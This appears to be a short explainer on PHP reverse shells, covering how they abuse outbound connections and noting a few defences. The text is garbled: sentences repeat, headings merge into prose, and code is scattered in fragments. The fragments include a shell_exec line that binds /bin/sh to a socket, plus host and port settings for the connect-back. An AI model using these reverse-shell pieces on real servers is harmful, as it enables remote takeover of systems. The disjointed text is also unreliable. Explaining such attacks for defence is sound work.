A PHP reverse shell is a malicious script or technique used by attackers to gain remote command-line access to a web server. By leveraging the server's own PHP interpreter, an attacker can force the victim machine to initiate an outgoing connection to their own system. This "reverse" direction is critical because most enterprise firewalls strictly monitor incoming traffic but are more permissive with outgoing requests, allowing the shell to bypass traditional security perimeters. The Anatomy of a PHP Reverse Shell
You can’t just “patch PHP” — reverse shells abuse legitimate PHP features. Defense must be layered. php-reverse-shell
// Redirect STDIN, STDOUT, STDERR to the socket shell_exec('/bin/sh -i <&3 >&3 2>&3'); ?> A PHP reverse shell is a malicious script
The Payload: The attacker then visits the URL where the PHP script is located or triggers it via an exploit. The server executes the code, connects back to the attacker’s IP on the specified port, and the terminal session begins. Detection and Prevention Strategies The Anatomy of a PHP Reverse Shell You
// Define the host and port to connect to $host = 'localhost'; $port = 8080;
Blocks remote file inclusion (RFI) attacks.